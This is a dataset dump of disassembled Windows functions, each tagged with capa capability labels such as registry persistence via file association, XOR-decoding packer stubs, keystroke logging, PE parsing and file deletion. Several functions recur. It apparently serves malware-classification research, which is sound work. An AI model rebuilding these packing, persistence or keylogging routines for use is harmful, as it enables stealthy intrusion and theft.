joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa40ffd
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push 0x14
push 0xa41168
call fcn.00a2cca4
mov ebx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp + 8]
xor edi, edi
test eax, eax
je 0xa410ae
cmp word [eax], di
je 0xa410ae
push edi
lea eax, [ebp - 0x20]
push eax
push edi
push 2
push edi
push edi
push edi
push ebx
push ecx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExW]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
jne 0xa41095
mov edx, dword [ebp + 8]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, di
jne 0xa41048
sub ecx, esi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push edi
push edi
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
mov esi, eax
mov dword [ebp - 0x1c], esi
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
test esi, esi
jne 0xa41095
push dword [ebp + 8]
push ebx
push 0xa3868c
call fcn.00a26570
add esp, 0xc
jmp 0xa41117
push edi
push esi
call fcn.00a2e452
push ebx
push 1
push 0x235d
call fcn.00a2e452
add esp, 0x14
jmp 0xa41117
push edi
push edi
push ebx
push ecx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteKeyExW]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0xa4111b
lea eax, [ebp + 8]
push eax
push 0x2000000
push edi
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0xa410ee
cmp esi, 2
je 0xa41117
push edi
push esi
call fcn.00a2e452
pop ecx
pop ecx
jmp 0xa41117
push 0xa22214
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteValueW]
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0xa4110e
push edi
push esi
call fcn.00a2e452
pop ecx
pop ecx
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
test esi, esi
jne 0xa4115e
mov dword [ebp - 4], edi
call fcn.00a267ab
test al, al
je 0xa41135
push edi
push edi
push edi
push 0x8000000
call dword [sym.imp.ext_ms_win_cmd_util_l1_1_0.dll_DoSHChangeNotify]
mov dword [ebp - 4], 0xfffffffe
jmp 0xa4115e
mov eax, esi
call fcn.00a227a8
ret 4
Function at 0xa41189
Capabilities:
Delete registry value
Persist via default file association registry key
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0xa45214]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
mov dword [ebp - 0x214], ecx
mov esi, edi
xor ecx, ecx
lea edx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, cx
jne 0xa411b3
sub esi, edx
sar esi, 1
lea eax, [esi + 0x14]
mov esi, 0x104
cmp eax, esi
jbe 0xa411e3
push ecx
push 0x400023db
call fcn.00a2e452
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0xa41387
push edi
mov edx, esi
lea ecx, [ebp - 0x20c]
call fcn.00a21417
push 0xa386d8
mov edx, esi
lea ecx, [ebp - 0x20c]
call fcn.00a22c30
lea eax, [ebp - 0x210]
push eax
push 0x2000000
xor eax, eax
push eax
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x214]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
je 0xa412eb
test ebx, ebx
je 0xa412d6
xor ecx, ecx
cmp word [ebx], cx
je 0xa412d6
lea esi, [ebp - 0x20c]
jmp 0xa41253
cmp word [esi], 0x5c
je 0xa41258
add esi, 2
cmp word [esi], cx
jne 0xa4124a
movzx eax, word [esi]
mov dword [ebp - 0x218], eax
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x210]
push eax
push ecx
push 0x2000000
push ecx
push ecx
push ecx
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x214]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCreateKeyExW]
mov dword [ebp - 0x21c], eax
test eax, eax
jne 0xa412bb
mov eax, dword [ebp - 0x218]
test ax, ax
je 0xa412eb
push dword [ebp - 0x210]
mov word [esi], ax
add esi, 2
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
xor ecx, ecx
jmp 0xa41253
push edi
push 1
push 0x400023a5
call fcn.00a2e452
mov eax, dword [ebp - 0x21c]
add esp, 0xc
jmp 0xa41387
push edi
push 1
push 0x400023a5
call fcn.00a2e452
add esp, 0xc
jmp 0xa41385
xor esi, esi
test ebx, ebx
je 0xa41356
cmp word [ebx], si
je 0xa41356
mov ecx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0xa412fb
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push ebx
push 2
push esi
push 0xa22214
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
mov esi, eax
test esi, esi
jne 0xa4133b
push ebx
push edi
push 0xa3868c
call fcn.00a26570
jmp 0xa41376
xor eax, eax
push eax
push esi
call fcn.00a2e452
push edi
push 1
push 0x235d
call fcn.00a2e452
add esp, 0x14
jmp 0xa41379
push esi
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegDeleteValueW]
mov esi, eax
test esi, esi
je 0xa41379
push edi
push 1
push 0x400023a5
call fcn.00a2e452
add esp, 0xc
push dword [ebp - 0x210]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00a213b9
mov esp, ebp
pop ebp
ret 4
Function at 0x10005e45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10005e54
pop dword [ebp - 8]
mov eax, 0x9673d360
sub eax, 0x8673750c
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x42cea2df
add dword [ebp - 0x18], 0xb83a26c
mov dword [ebp - 0x14], 0xf57da24f
add dword [ebp - 0x14], 0x3cb5a9f6
mov dword [ebp - 0x10], 0x36e59e2f
add dword [ebp - 0x10], 0x1566a5ff
mov dword [ebp - 0xc], 0xd1ebfaa6
add dword [ebp - 0xc], 0x2e14055a
lea eax, [ebp - 0x18]
push eax
mov eax, 0x6a93a6fd
add eax, 0xa56e5907
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x21ba40a3
sub dword [ebp - 0x18], 0xad47d74d
mov dword [ebp - 0x14], 0x26382f42
sub dword [ebp - 0x14], 0xe4cbcdcd
mov dword [ebp - 0x10], 0x350fa8b8
add dword [ebp - 0x10], 0x2e5fc3b4
mov dword [ebp - 0xc], 0x9c1469b
sub dword [ebp - 0xc], 0x9c1469b
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3c106
push 0
call eax
mov ecx, 0xcb72c47e
add ecx, 0x348d80bf
mov esi, eax
mov edx, 0x1002bc00
add edx, dword [ebp - 8]
mov ebx, 0x5e0e3e06
xor dword [ebp - 4], ecx
mov edi, dword [edx]
sub dword [ebp - 4], 0xca4187cd
sub edi, ebx
sub dword [ebp - 4], ecx
mov dword [esi], edi
xor dword [ebp - 4], 0x7b6aa119
add esi, 4
add edx, 0xe0ab613a
add edx, 0x1f549eca
loop 0x10005f65
add eax, 0x5ff2b813
sub eax, 0x5ff1b04c
mov ebx, eax
add eax, 0x7eec8ea6
add eax, 0x8113715f
mov ecx, 0xd683898f
add ecx, 0x397c7671
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408e84
nop
mov ecx, 0x5e294b2a
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x42865d55
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1000e5e3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000e5f2
pop dword [ebp - 0x40]
mov eax, 0x1000e5f2
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x80c7e462
add dword [ebp - 0x50], 0xcd8a60e9
mov dword [ebp - 0x4c], 0xc3cb0026
add dword [ebp - 0x4c], 0x6e684c1f
mov dword [ebp - 0x48], 0x9d778b7a
add dword [ebp - 0x48], 0xaed4b8b4
mov dword [ebp - 0x44], 0x8a29daf9
sub dword [ebp - 0x44], 0x8a29daf9
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xa68af441
add dword [ebp - 0x50], 0xcde77515
mov dword [ebp - 0x4c], 0xb99f2f2e
add dword [ebp - 0x4c], 0x87cd3247
mov dword [ebp - 0x48], 0x27030d2a
add dword [ebp - 0x48], 0x3c6c5f42
mov dword [ebp - 0x44], 0x11e4878e
add dword [ebp - 0x44], 0xee1b7872
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x39378
push 0
call eax
mov ecx, 0x60c826cd
sub ecx, 0x60c7d430
xor ebx, ebx
add ebx, eax
mov edx, 0x4ea7cefc
sub edx, 0x3ea644fc
add edx, dword [ebp - 0x40]
mov edi, 0xcf8fdfe
add edi, 0x1114fceb
xor dword [ebp - 0x18], ebx
mov esi, dword [edx]
add dword [ebp - 0x2c], 0xa3f49211
add esi, edi
sub dword [ebp - 0x18], 0x821068c6
mov dword [ebx], esi
add dword [ebp - 0xc], eax
add ebx, 0x8987a304
sub ebx, 0x8987a300
add edx, 0xacba72c7
sub edx, 0xacba72c3
loop 0x1000e707
add eax, 0x13d47
mov ebx, eax
add eax, 5
mov ecx, 0xf246ad6d
add ecx, 0x1db95293
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40a8b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40a8bf
pop dword [ebp - 0x28]
mov eax, 0xb5604d58
sub eax, 0xb51fa499
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xb4094f10
add dword [ebp - 0x38], 0x9a48f63b
mov dword [ebp - 0x34], 0x6955a89
add dword [ebp - 0x34], 0x2b9df1bc
mov dword [ebp - 0x30], 0x938de4cf
add dword [ebp - 0x30], 0xb8be5f5f
mov dword [ebp - 0x2c], 0x10b23642
add dword [ebp - 0x2c], 0xef4dc9be
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x887126c3
add dword [ebp - 0x38], 0xec014293
mov dword [ebp - 0x34], 0x7b10e26e
add dword [ebp - 0x34], 0xc65b7f07
mov dword [ebp - 0x30], 0x21699baa
sub dword [ebp - 0x30], 0xbdfa2f3e
mov dword [ebp - 0x2c], 0x957977ae
sub dword [ebp - 0x2c], 0x957977ae
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xc9a300e5
sub eax, 0xc961b099
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x39288
push 0
call eax
mov ecx, 0xc6e1b224
sub ecx, 0xc6e16fc2
mov ebx, eax
mov esi, 0x41f400
add esi, dword [ebp - 0x28]
mov edx, 0x5e648560
sub edx, 0xfe9201b3
sub dword [ebp - 0x20], 0x84555565
mov edi, dword [esi]
add dword [ebp - 0xc], 0xc2c5985b
sub edi, edx
xor dword [ebp - 8], ecx
mov dword [ebx], edi
mov dword [ebp - 0x14], 0x44dfdfde
add ebx, 4
add esi, 0x5e5928b2
sub esi, 0x5e5928ae
loop 0x40a9d6
add eax, 0xfc5b
xor ebx, ebx
add ebx, eax
add eax, 0x5cb20570
add eax, 0xa34dfa95
mov ecx, 0x870cfc16
add ecx, 0x793303ea
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x410a37
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x410a76
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x410a76
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x410a76
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x410a76
cmp dword [ecx + 0x74], 0xe
jbe 0x410a76
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x100216c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x100216d1
pop dword [ebp - 0x34]
mov eax, 0x100216d1
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x2a71dc1c
add dword [ebp - 0x44], 0x23e0692f
mov dword [ebp - 0x40], 0x1f8061ca
sub dword [ebp - 0x40], 0xed4d1585
mov dword [ebp - 0x3c], 0xeddcc3ef
add dword [ebp - 0x3c], 0x5e6f803f
mov dword [ebp - 0x38], 0x4290b772
add dword [ebp - 0x38], 0xbd6f488e
lea eax, [ebp - 0x44]
push eax
mov eax, 0xbe47eefb
add eax, 0x51bc6209
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x1fe2bf48
sub dword [ebp - 0x44], 0xab7055f2
mov dword [ebp - 0x40], 0x1df7bb39
add dword [ebp - 0x40], 0x2374a63c
mov dword [ebp - 0x3c], 0xaeae3c43
sub dword [ebp - 0x3c], 0x4b3ecfd7
mov dword [ebp - 0x38], 0x6fda3067
add dword [ebp - 0x38], 0x9025cf99
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x48c84
push 0
call eax
mov ecx, 0xe0889bf6
add ecx, 0x1f77a5c9
xor esi, esi
add esi, eax
mov edx, 0x10075000
add edx, dword [ebp - 0x34]
mov edi, 0x503a6c1
sub edi, 0xd4bdc962
mov ebx, dword [edx]
xor dword [ebp - 0x30], 0x4b0a123
sub ebx, edi
mov dword [esi], ebx
add esi, 4
add edx, 4
loop 0x100217e5
add eax, 0xb7f4ca13
add eax, 0x480c2fbc
xor ebx, ebx
add ebx, eax
add eax, 0xdb93d9c4
sub eax, 0xdb93d9bf
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x67d2679b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x28d24a53
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1001a45
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1001258
call fcn.01001c48
xor ebx, ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x1001a82
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001a82
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x1001a9a
cmp eax, 0x20b
je 0x1001a87
mov dword [ebp - 0x1c], ebx
jmp 0x1001aae
cmp dword [ecx + 0x84], 0xe
jbe 0x1001a82
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x1001aa8
cmp dword [ecx + 0x74], 0xe
jbe 0x1001a82
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
or dword [0x1003078], 0xffffffff
or dword [0x100307c], 0xffffffff
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1003070]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x100306c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1003080], eax
call fcn.01001c3e
cmp dword [0x1003050], ebx
jne 0x1001b09
push fcn.01001c3e
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01001c27
push 0x1003010
push 0x100300c
call sub.msvcrt.dll__initterm
mov eax, dword [0x1003068]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x1003064]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x1003008
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
cmp byte [esi], 0x22
jne 0x1001b9f
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x1001b73
cmp al, 0x22
jne 0x1001b65
cmp byte [esi], 0x22
jne 0x1001b7c
inc esi
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, bl
je 0x1001b86
cmp al, 0x20
jbe 0x1001b78
mov dword [ebp - 0x54], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x54], 1
je 0x1001baa
movzx eax, word [ebp - 0x50]
jmp 0x1001bad
cmp byte [esi], 0x20
jbe 0x1001b7c
inc esi
mov dword [ebp - 0x20], esi
jmp 0x1001b9f
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call main
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x1001bca
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
jmp 0x1001bff
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.01001c83
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7f6b6daa
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2fc6756
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4054a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4054c4
xor eax, eax
jmp 0x405544
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4054db
xor eax, eax
jmp 0x405544
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x405527
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x405527
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x4054fe
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x405533
xor eax, eax
jmp 0x405544
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x405541
xor eax, eax
jmp 0x405544
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40ac80
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e0dd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48c
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00404cc0
push eax
push ecx
mov eax, esp
mov dword [ebp - 0x34], esp
mov dword [ebp - 0x14], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x38], esp
push str._ws.
call fcn.00402f80
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x3c], eax
lea edx, [ebp - 0x20]
push edx
call fcn.004075a0
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
call fcn.00404cc0
push eax
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x20]
call fcn.004037d0
lea edx, [ebp - 0x498]
push edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x40adcf
lea ecx, [ebp - 0x46c]
push ecx
lea ecx, [ebp + 8]
call fcn.00404cc0
push eax
push ecx
mov edx, esp
mov dword [ebp - 0x40], esp
mov dword [ebp - 0x24], edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x44], esp
push str._ws_ws
call fcn.00402f80
mov eax, dword [ebp - 0x24]
push eax
call fcn.00407800
add esp, 0x1c
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x30]
push ecx
call fcn.004075a0
add esp, 8
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x2c]
call fcn.00404cc0
push eax
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x30]
call fcn.004037d0
lea ecx, [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x498]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40ad2f
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004037d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret